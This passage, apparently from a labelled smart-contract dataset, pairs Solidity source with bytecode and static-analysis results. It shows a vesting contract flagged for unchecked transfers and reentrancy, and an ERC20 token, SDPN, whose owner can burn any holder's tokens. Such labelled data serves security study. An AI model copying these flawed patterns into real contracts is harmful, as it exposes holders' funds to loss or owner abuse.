if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
} | 0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063a3d272ce11610066578063a3d272ce146101be578063a8660a7814610202578063c4b6c5fa14610220578063ec715a31146102d8578063f2fde38b146102e25761009e565b80631db87be8146100a35780631f8db268146100ed5780633a05f0d81461010b578063715018a61461016a5780638da5cb5b14610174575b600080fd5b6100ab610326565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100f561034c565b6040518082815260200191505060405180910390f35b610113610353565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561015657808201518184015260208101905061013b565b505050509050019250505060405180910390f35b6101726103ab565b005b61017c610533565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610200600480360360208110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061055c565b005b61020a610669565b6040518082815260200191505060405180910390f35b6102d66004803603602081101561023657600080fd5b810190808035906020019064010000000081111561025357600080fd5b82018360208201111561026557600080fd5b8035906020019184602083028401116401000000008311171561028757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061066f565b005b6102e0610761565b005b610324600480360360208110156102f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109e1565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103a157602002820191906000526020600020905b81548152602001906001019080831161038d575b5050505050905090565b6103b3610bee565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610474576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610564610bee565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610625576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b610677610bee565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610738576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461074757600080fd5b806002908051906020019061075d929190610c7e565b5050565b60006002805490501161077357600080fd5b61077b610533565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108015750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61080a57600080fd5b6000600454141561085c5761081d610533565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461085457600080fd5b426004819055505b600060055490505b6002805490508110156109de5762278d00600554026004540142106109cc57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106108fa57fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561096f57600080fd5b505af1158015610983573d6000803e3d6000fd5b505050506040513d602081101561099957600080fd5b8101908080519060200190929190505050506109c16001600554610bf690919063ffffffff16565b6005819055506109d1565b6109de565b8080600101915050610864565b50565b6109e9610bee565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aaa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610cf16026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610c74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610cba579160200282015b82811115610cb9578251825591602001919060010190610c9e565b5b509050610cc79190610ccb565b5090565b610ced91905b80821115610ce9576000816000905550600101610cd1565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220038fb532ed2e64e11f018217ec622374df7e2f0ae188b497304d3fb430740aa964736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 9,971 |
0xb652ff102cb4479fae6b9a3a65e0ada1b49b251a | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract SDPN is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private immutable _cap = 100000000 * (10**18);
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = "Simcrypted";
_symbol = "SDPN";
_totalSupply = 80000000 * (10**decimals());
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0),_msgSender(),_totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
require(totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function burn(address account, uint256 amount) public onlyOwner {
_burn(account,amount);
}
function mint(address account, uint256 amount) public onlyOwner {
_mint(account,amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _afterTokenTransfer( address from,address to,uint256 amount) internal virtual {}
} | 0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a25780639dc29fac116100715780639dc29fac146102aa578063a457c2d7146102c6578063a9059cbb146102f6578063dd62ed3e14610326578063f2fde38b146103565761010b565b806370a0823114610234578063715018a6146102645780638da5cb5b1461026e57806395d89b411461028c5761010b565b8063313ce567116100de578063313ce567146101ac578063355274ea146101ca57806339509351146101e857806340c10f19146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610372565b6040516101259190611790565b60405180910390f35b610148600480360381019061014391906114de565b610404565b6040516101559190611775565b60405180910390f35b610166610422565b6040516101739190611952565b60405180910390f35b6101966004803603810190610191919061148b565b61042c565b6040516101a39190611775565b60405180910390f35b6101b461052d565b6040516101c1919061196d565b60405180910390f35b6101d2610536565b6040516101df9190611952565b60405180910390f35b61020260048036038101906101fd91906114de565b61055e565b60405161020f9190611775565b60405180910390f35b610232600480360381019061022d91906114de565b61060a565b005b61024e6004803603810190610249919061141e565b610694565b60405161025b9190611952565b60405180910390f35b61026c6106dd565b005b610276610765565b604051610283919061175a565b60405180910390f35b61029461078e565b6040516102a19190611790565b60405180910390f35b6102c460048036038101906102bf91906114de565b610820565b005b6102e060048036038101906102db91906114de565b6108aa565b6040516102ed9190611775565b60405180910390f35b610310600480360381019061030b91906114de565b61099e565b60405161031d9190611775565b60405180910390f35b610340600480360381019061033b919061144b565b6109bc565b60405161034d9190611952565b60405180910390f35b610370600480360381019061036b919061141e565b610a43565b005b60606004805461038190611ab6565b80601f01602080910402602001604051908101604052809291908181526020018280546103ad90611ab6565b80156103fa5780601f106103cf576101008083540402835291602001916103fa565b820191906000526020600020905b8154815290600101906020018083116103dd57829003601f168201915b5050505050905090565b6000610418610411610b3b565b8484610b43565b6001905092915050565b6000600354905090565b6000610439848484610d0e565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610b3b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610504576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fb90611852565b60405180910390fd5b61052185610510610b3b565b858461051c91906119fa565b610b43565b60019150509392505050565b60006012905090565b60007f00000000000000000000000000000000000000000052b7d2dcc80cd2e4000000905090565b600061060061056b610b3b565b848460026000610579610b3b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105fb91906119a4565b610b43565b6001905092915050565b610612610b3b565b73ffffffffffffffffffffffffffffffffffffffff16610630610765565b73ffffffffffffffffffffffffffffffffffffffff1614610686576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067d90611872565b60405180910390fd5b6106908282610f90565b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106e5610b3b565b73ffffffffffffffffffffffffffffffffffffffff16610703610765565b73ffffffffffffffffffffffffffffffffffffffff1614610759576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075090611872565b60405180910390fd5b610763600061114d565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461079d90611ab6565b80601f01602080910402602001604051908101604052809291908181526020018280546107c990611ab6565b80156108165780601f106107eb57610100808354040283529160200191610816565b820191906000526020600020905b8154815290600101906020018083116107f957829003601f168201915b5050505050905090565b610828610b3b565b73ffffffffffffffffffffffffffffffffffffffff16610846610765565b73ffffffffffffffffffffffffffffffffffffffff161461089c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089390611872565b60405180910390fd5b6108a68282611211565b5050565b600080600260006108b9610b3b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610976576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096d90611912565b60405180910390fd5b610993610981610b3b565b85858461098e91906119fa565b610b43565b600191505092915050565b60006109b26109ab610b3b565b8484610d0e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a4b610b3b565b73ffffffffffffffffffffffffffffffffffffffff16610a69610765565b73ffffffffffffffffffffffffffffffffffffffff1614610abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab690611872565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b26906117f2565b60405180910390fd5b610b388161114d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa906118f2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a90611812565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d019190611952565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d75906118b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de5906117b2565b60405180910390fd5b610df98383836113ea565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7790611832565b60405180910390fd5b8181610e8c91906119fa565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f1e91906119a4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f829190611952565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611000576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff790611932565b60405180910390fd5b611008610536565b81611011610422565b61101b91906119a4565b111561105c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611053906118d2565b60405180910390fd5b611068600083836113ea565b806003600082825461107a91906119a4565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110d091906119a4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111359190611952565b60405180910390a3611149600083836113ef565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611281576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127890611892565b60405180910390fd5b61128d826000836113ea565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130b906117d2565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461136c91906119fa565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113d19190611952565b60405180910390a36113e5836000846113ef565b505050565b505050565b505050565b60008135905061140381611eed565b92915050565b60008135905061141881611f04565b92915050565b60006020828403121561143457611433611b46565b5b6000611442848285016113f4565b91505092915050565b6000806040838503121561146257611461611b46565b5b6000611470858286016113f4565b9250506020611481858286016113f4565b9150509250929050565b6000806000606084860312156114a4576114a3611b46565b5b60006114b2868287016113f4565b93505060206114c3868287016113f4565b92505060406114d486828701611409565b9150509250925092565b600080604083850312156114f5576114f4611b46565b5b6000611503858286016113f4565b925050602061151485828601611409565b9150509250929050565b61152781611a2e565b82525050565b61153681611a40565b82525050565b600061154782611988565b6115518185611993565b9350611561818560208601611a83565b61156a81611b4b565b840191505092915050565b6000611582602383611993565b915061158d82611b5c565b604082019050919050565b60006115a5602283611993565b91506115b082611bab565b604082019050919050565b60006115c8602683611993565b91506115d382611bfa565b604082019050919050565b60006115eb602283611993565b91506115f682611c49565b604082019050919050565b600061160e602683611993565b915061161982611c98565b604082019050919050565b6000611631602883611993565b915061163c82611ce7565b604082019050919050565b6000611654602083611993565b915061165f82611d36565b602082019050919050565b6000611677602183611993565b915061168282611d5f565b604082019050919050565b600061169a602583611993565b91506116a582611dae565b604082019050919050565b60006116bd601983611993565b91506116c882611dfd565b602082019050919050565b60006116e0602483611993565b91506116eb82611e26565b604082019050919050565b6000611703602583611993565b915061170e82611e75565b604082019050919050565b6000611726601f83611993565b915061173182611ec4565b602082019050919050565b61174581611a6c565b82525050565b61175481611a76565b82525050565b600060208201905061176f600083018461151e565b92915050565b600060208201905061178a600083018461152d565b92915050565b600060208201905081810360008301526117aa818461153c565b905092915050565b600060208201905081810360008301526117cb81611575565b9050919050565b600060208201905081810360008301526117eb81611598565b9050919050565b6000602082019050818103600083015261180b816115bb565b9050919050565b6000602082019050818103600083015261182b816115de565b9050919050565b6000602082019050818103600083015261184b81611601565b9050919050565b6000602082019050818103600083015261186b81611624565b9050919050565b6000602082019050818103600083015261188b81611647565b9050919050565b600060208201905081810360008301526118ab8161166a565b9050919050565b600060208201905081810360008301526118cb8161168d565b9050919050565b600060208201905081810360008301526118eb816116b0565b9050919050565b6000602082019050818103600083015261190b816116d3565b9050919050565b6000602082019050818103600083015261192b816116f6565b9050919050565b6000602082019050818103600083015261194b81611719565b9050919050565b6000602082019050611967600083018461173c565b92915050565b6000602082019050611982600083018461174b565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119af82611a6c565b91506119ba83611a6c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119ef576119ee611ae8565b5b828201905092915050565b6000611a0582611a6c565b9150611a1083611a6c565b925082821015611a2357611a22611ae8565b5b828203905092915050565b6000611a3982611a4c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611aa1578082015181840152602081019050611a86565b83811115611ab0576000848401525b50505050565b60006002820490506001821680611ace57607f821691505b60208210811415611ae257611ae1611b17565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e